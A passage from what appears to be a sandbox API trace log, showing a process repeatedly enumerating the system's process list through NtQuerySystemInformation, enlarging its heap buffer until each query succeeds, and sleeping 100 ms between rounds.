	[0071.591] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.592] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0071.592] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.592] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0071.592] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.593] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0071.593] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.593] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0071.593] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.594] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0071.594] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.607] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0071.608] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.609] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0071.609] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.610] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0071.610] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.610] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0071.610] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.611] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0071.611] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.611] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0071.612] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.612] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0071.612] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0071.616] Sleep (dwMilliseconds=0x64) 
	[0071.833] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28898b8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x28898b8, ResultLength=0x0) returned 0xc0000004
	[0071.833] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28898b8, Size=0x2048) returned 0x28cb2d0
	[0071.833] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28cb2d0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28cb2d0, ResultLength=0x0) returned 0xc0000004
	[0071.834] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28cb2d0, Size=0x306c) returned 0x2894bd8
	[0071.834] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0071.834] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0071.834] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0071.835] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0071.835] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.836] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0071.836] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.836] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0071.836] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.836] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0071.836] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.837] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0071.837] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.837] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0071.837] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.837] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0071.837] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.838] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0071.838] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.838] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0071.838] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.838] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0071.838] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.839] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0071.839] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.839] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0071.839] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.839] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0071.840] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.840] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0071.840] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.840] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0071.842] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.843] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0071.843] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.843] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0071.843] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.843] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0071.843] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.844] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0071.844] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.844] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0071.845] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.845] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0071.845] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.845] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0071.845] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.846] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0071.846] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.846] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0071.846] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.847] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0071.847] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.847] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0071.847] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.848] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0071.848] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.848] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0071.848] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.849] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0071.849] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.849] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0071.849] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.850] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0071.850] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.850] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0071.850] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0071.852] Sleep (dwMilliseconds=0x64) 
	[0071.998] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28876a8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x28876a8, ResultLength=0x0) returned 0xc0000004
	[0071.999] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28876a8, Size=0x2048) returned 0x28cd4d8
	[0071.999] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28cd4d8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28cd4d8, ResultLength=0x0) returned 0xc0000004
	[0071.999] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28cd4d8, Size=0x306c) returned 0x2894bd8
	[0072.001] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0072.002] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0072.006] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0072.006] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0072.007] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.007] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0072.007] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.008] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0072.008] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.008] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0072.008] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.008] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0072.008] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.008] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0072.009] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.009] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0072.009] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.009] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0072.009] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.010] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0072.010] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.010] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0072.010] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.010] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0072.010] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.011] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0072.011] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.011] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0072.011] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.011] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0072.012] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.012] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0072.014] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.014] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0072.014] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.015] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0072.015] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.015] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0072.015] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.015] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0072.015] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.016] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0072.016] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.017] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0072.017] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.017] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0072.017] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.017] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0072.018] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.018] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0072.018] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.018] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0072.018] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.019] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0072.019] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.019] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0072.019] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.020] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0072.020] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.020] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0072.020] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.021] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0072.021] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.021] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0072.021] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.022] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0072.022] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0072.024] Sleep (dwMilliseconds=0x64) 
	[0072.331] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2883288, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2883288, ResultLength=0x0) returned 0xc0000004
	[0072.331] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2883288, Size=0x2048) returned 0x28c08a8
	[0072.331] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28c08a8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28c08a8, ResultLength=0x0) returned 0xc0000004
	[0072.332] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28c08a8, Size=0x306c) returned 0x2894bd8
	[0072.332] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0072.332] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
